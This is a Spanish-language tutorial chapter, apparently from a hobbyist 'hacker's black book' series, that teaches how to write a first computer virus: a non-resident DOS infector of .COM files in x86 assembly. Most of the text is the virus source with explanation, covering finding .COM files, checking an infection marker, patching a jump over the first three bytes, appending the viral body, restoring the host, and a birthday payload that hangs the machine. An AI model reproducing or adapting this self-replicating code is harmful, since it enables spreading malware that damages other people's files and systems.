¿Como hacer el primer virus?

387 2 1
                                    

Empezaremos por contaminar archivos com, ¿que qué diferencia hay entre archivos com y exe? pues fácil, si os habéis fijado los archivos com ocupan como máximo 65 kbytes y pico. ¿qué porque es así? , pues porque los com se cargan en un único segmento de memoria. Y no me vengáis diciendo que el command.com del windows 95 tiene más porque aunque tiene extensión com es un archivo exe (es un exe camuflado je,je,je ;) ) Los exe's utilizan un cabezera con información acerca del tamaño del archivo,la posición inicial para empezar a ejecutar el file la posición del stack y demás choradas necesárias para cargarlo en varios segmentos de memoria.El inicio de dicha cabecera es MZ ¿que porque esa marca? ,yo que sé ,yo no creé la estructura de los exe's, de alguna manera los tenían que marcar.      Bueno la verdad es que lo que realmente diferencia un exe de un com es esa marca , la extensión simplemente sirve para que el DOS sepa que ejecutar primero com->exe->bat. El virus que vamos a hacer no será  residente  por lo que es  bastante sencillo .Contamina  en un único directorio por lo que además de ser sencillo tendrá una infección practicamente patética. Pero bueno es pa ke entendáis el rollo este de los com. La contaminación de los com's se puede hacer añadiendo el código del virus al principio del hoste(programa infectado) pero no es recomendable por cuestiones de rapidez, por lo que lo bonito es quitar los 3 primeros bytes del archivo (guardarlos en el código del virus) poner en su lugar un jmp virus (es decir un salto incodicional al código del virus, que  lo añadimos al final del hoste).Cuando acaba la ejecución del virus los 3 bytes que habías guardado los restauramos al principio del virus y le pasamos el control al hoste. Facil noooo???           -----------------           | jmp    virus  |               -----------------           | codigo del    |             | hoste         |             -----------------           | virus:        |           | contamina     |           | recupera los  |           | 3 bytes       |           | originales y  |           | jmp hoste     |           -----------------    Ahora que sabemos la teoría , tenemos que buscar una manera   de marcar  los archivos para no volverlos a contaminar infinitas veces.    Como vamos a tener que poner un jmp al principio del hoste , pues    este propio jmp funcioná  de marca de infección. El virus infectará     a los archivos que no empiecen con un jmp.El código del jmp ocupa     1 byte y la dirección a saltar con un byte ocupa 2 bytes    1 byte del jmp + 2 bytes dirección = 3 bytes (lo que pillamos del hoste)    Otra cosa. Al programar un virus lo que se hace normalmente es crear    un archivo contaminado, en este caso nuestro hoste contaminado    contendrá un jmp start (salto al principio del virus) y la int 20h    para regresar al dos. longitud        equ     fin-start     code            segment 'code'                 assume  cs:code,ds:code,es:code                 org     100h                    ;empiezo en 100 ya que es un com hoste:          jmp     start                   ;esto es un hoste simulado                 int     20h                     ;con esto salgo al DOS start:          push    bp                 call    alli                    ; busco la ip de inicio  alli:           pop     bp                      ; para que la variables no                 sub     bp,offset alli          ; aparezcan corridas :-)        Con esto lo que hacemos es definir la constante longitud como        la diferencia entre dos etiquetas que hemos puesto al principio y al        final del virus(obviamente) con lo que el linkador nos traducirá         longitud como el tamaño del virus.        El org 100h es para que el programa se carge en el offset 100h,        los com's siempre se cargan en el offset 100h ya que tienen que dejar        100h bytes para que el DOS guarde información sobre el programa        esos 100h bytes forman lo que se llama el PSP.        En el hoste meto un jmp start con lo que este archivo estará ya        marcado como infectado.        Ahora viene lo gracioso, que coño hace ese call ahí.Bueno ¿por qué        un call? ¿acaso los call no són para llamar a procedimientos?        ¿y el procedimiento?¿no veo ninguno?¿y la famosa instrucción ret        para regresar del procedimiento tampoco la veo?        Respuesta:           No es una llamada a un procedimiento. Es simplemente una pirula        para que se puedan direccionar las variables. ¿quéeee?. Si bueno        no sé si si os habéis dado cuenta que el virus se añade al final        del hoste con lo que en cada hoste las variables se encontrarán        en diferente offset (el offset es una dirección dentro de un        segmento , y un segmento es un bloque de memoria de 65536 bytes)        Las referencias a variables ( como mov ax,variable)        el linkador las traduce a un numero (mov ax,056f2h  por ejemplo)        Por esto es por lo que hay que inventarse una pirula para hallar         el verdadero offset de las variables( en busca del offset perdido).        Ahora bien que os parece si sumamos a cada referencia a variable        el incremento del tamaño del hoste respecto al hoste ficticio que hemos        creado,que lo  podríamos tener almacenado en un registro como el bp        (que no es muy usado). Ahora las referencias a variables quedarían así:          mov ax,bp+variable  ;)        No está  mal el invento pero ¿cómo coño hallamos ese incremento        que sufre  el offset?.Ahora es cuando utilizamos las maravillosas        cualidades del comando call.El comando call no sólo salta al comienzo        del procedimiento sinó que apila la dirección de regreso para que        luego utilizando la instrucción ret se pueda regresar a la posición        desde la que fué llamada.Pero bueno, que preciosidad de comando        ,pues yo ahora hago un call findoffset y en vez de enviar el control        a un procedimiento utilizo el comando pop para desapilar la dirección        apilada con el call. Pero la cosa no se queda ahí, ahora le resto        a esa direccion (almacenada en bp)  el offset de la etiqueta findoffset        ahora acabamos de obtener el desplazamiento que sufriran las variables.        NOTA:Las intrucciónes offset algo el linkador las traduce por un              número por lo que en cada archivo infectado 'offset findoffset'             siempre será  el mismo número.             el offset de la etiqueta findoffset del archivo que vamos a crear.        Si te fijas en el archivo que vamos a obtener el bp tomará  el valor 0        esto es correcto ya que en el archivo original no se produce ningun        desplazamiento,respecto a su propio tamaño ; ).                 push    cs                 push    cs                 pop     ds                 pop     es                 push    ax                                      push    bx                                      push    cx                     ;  APILO LOS REGISTROS                 push    dx                                    push    di                                      push    si                          Con esto ds y es se quedan con el valor de cs ya que trabajamos     en un único segmento. Además apilo los registros para que no     se modifique su valor.     Ahora viene un punto muy importante en este virus es recuperar     los 3 bytes originales.Esto lo hacemos antes de la contaminación     ya que la variable cab_ORIG la sobreescribiremos en el proceso     de infección.                cld                mov    cx,3d              ;en cx el numero de bytes a mover                mov    di,100h            ;muevo de ds:si ->es:di                lea    si,bp+cab_ORIG     ;es decir de la variable cab_ORIG a 100h                rep    movsb     Ten en cuenta que sobreescribo estos 3 bytes en memoria el      archivo contaminado siempre tendra tu jmp START.   ************* Quien quiera pasar de esto que lo haga *******     ************* es la activación del virus                               *******     Se activa el 19 de Febrero mi Cumpleaños (que original).                 mov  ah, 02h                 int  21h                 cmp  dh, 2d           ;compruebo si el mes es 2                 jne  noactivo                 cmp  dl, 19d          ;compruebo si el dia es 19                 jne  noactivo                 mov  ax,0900h       ;aparece el mensaje en pantalla                 lea  dx,bp+mensaje  ;si es 19 del 2 sino se salta a noactivo                 int  21h                 hlt           ;cuelgo el ordenata noactivo:     ************* Final de la activaci¢n  *************************                         mov     ah,4eh                  ;                  lea     dx,bp+file_cont         ;                 mov     cx,00000000b            ;     BUSQUEDA DEL ARCHIVO                 int     21h                     ;     con esto busco archivos que cumplan que tienen extensión com     *.com . en ds:dx esta la dirección de la cadena '*.com'     en ah la llamada a la función de busqueda y en cx los atributos.     Es recomendable trabajar con una buena lista de interrupciones     yo recomiendo personalmente la lista de Ralf Brown yo diría que     sin duda es la mejor .      Si la han quitado la podréis conseguir de la página de Cicatrix.     Ojo a que  ponemos bp+file_cont en vez de file_cont a secas. otro:           mov    ah,4fh                 int    21h                 jb     salir            ;salto si no quedan más archivos                                         ;con extensión com                 mov     ax, 3d00h       ;abro el archivo para lectura                 mov     dx, 009eh                 int     21h                           mov     bx,ax            ;guardo el handel      Al encontrar un archivo con extensión com lo abro para ver si está      contaminado.      Ten en cuenta que la información obtenida con la funcion 4fh de la      interrupción 21 (busqueda de archivo) se guarda en el DTA(disk      transfer area) que forma parte del PSP (que son los 100 bytes iniciales      del segmento donde se ejecuta el com).      El DTA empieza en el offset 80h y tiene la siguiente estructura:           offset      Bytes ocupados   Funci¢n           00h         21d              Usado por el dos para la función                                        4f (buscar proximo)                                                    15h         01d              Atributos del file encontrado           16h         02d              Hora del archivo           18h         02d              Fecha del file           1Ah         04d              Tamaño del archivo en bytes           1Eh         13d              Nombre del archivo     Ahora que sabemos esto para abrir un archivo encontrado con las funciones     4Eh y 4Fh sólo tenemos que poner en dx la dirección del campo Nombre de     Archivo del DTA. Esta se encuentra en el offset 1Eh del DTA pero como el     DTA se encuentra en el offset 80h, la dirección real     será 80h+1Eh= 9Eh.                 mov     ax,4200h        ;muevo el puntero  al principio                 mov     cx,0000h                 mov     dx,0000h                 int     21h                                  mov     cx,3h                         ;longitud a copiar                  lea     dx,[bp+cab_Orig]              ;direccion donde se copiara                 mov     ah,3fh                        ;funcion de lectura                 int     21h        En la variable cab_ORIG los 3 primeros byte del archivo . Esto        es para comprobar si está  infectado y si lo está  de paso ya tengo        los 3 bytes para poder recuperarlos luego.(ten en cuenta que a estas        alturas ya hemos recuperado en memoria los 3 bytes originales del        file).                 mov     ah ,3eh                       ;cierro el archivo                 int     21h                                  cmp     byte ptr [bp+cab_ORIG],0E9h        ;si empieza con un jmp                  je      otro                          ;no lo contamina y busca otro        Cierro el archivo y compruebo si el byte almacenado en cab_ORIG es        igual a 0E9h que es el código de la intrucción jmp.        Si es igual probablemente esté contaminado por lo que buscamos otro                 mov     ax, 3d02h                     ;abro el archivo para r/w                 mov     dx, 009eh                 int     21h                 mov     word ptr ds:[bp+handel],ax ;guardo en handel en la variable                 mov     bx,ax           ; guardo en bx el handle del archivo                     Fijate bien que todas las referencias a variables se realizan sumando       bp.                 mov     cx, 2h                 mov     si,009Ah                 lea     di,[bp+cabecera+1]                 rep     movsb      Ahora hallamos el tamaño del archivo , lo leemos del DTA como ya hicimos      con el nombre del archivo                 sub     word ptr [bp+cabecera+1],3                                                          Ahora resto al tamaño del archivo lo que ocupa el tamaño del jmp (3 bytes)       ya que el salto comienza realmente desde la siguiente instrucción.                 mov     ax,4200h        ;muevo el puntero  al principio                 mov     cx,0000h                 mov     dx,0000h                 int     21h                                  mov     ah,40h           ;escribo los nuevos 3 bytes                 mov     cx,3h            ;que tendrá el archivo                 lea     dx,bp+cabacera                 int     21h                     Que conste que la variable cabecera la ten¡a preparada con un E9h       en el primer bytes(jmp) mirar la definición de variables del final       Por ello lo único que he tenido que hacer es completarla metiendo       la dirección hallada.                                                                         mov    ax,4202h          ;muevo el puntero al final                 mov    cx,0000h                           mov    dx,0000h                 int    21h                 mov    ah,40h                 mov    cx,longitud         ;en cx el número de bytes a copiar                 lea    dx,bp+start         ;pues la longitud del archivo                 int    21h                 ;que va a ser                 mov     ah ,3eh            ;cierro el archivo                 int     21h      Completamos la infección cerrando el archivo salir:          pop     si                     ;                 pop     di                     ;                 pop     dx                     ;  DESAPILO LOS REGISTROS                 pop     cx                     ;                 pop     bx                     ;                 pop     ax                     ;                 pop     bp                     ;                 mov     ax,100h                       ;FELICIDADES YA HAS CONTAMINADO OTRO ARCHIVO                 jmp     ax                                                        

Has llegado al final de las partes publicadas.

⏰ Última actualización: Jan 15, 2017 ⏰

¡Añade esta historia a tu biblioteca para recibir notificaciones sobre nuevas partes!

Libro negro del hackerDonde viven las historias. Descúbrelo ahora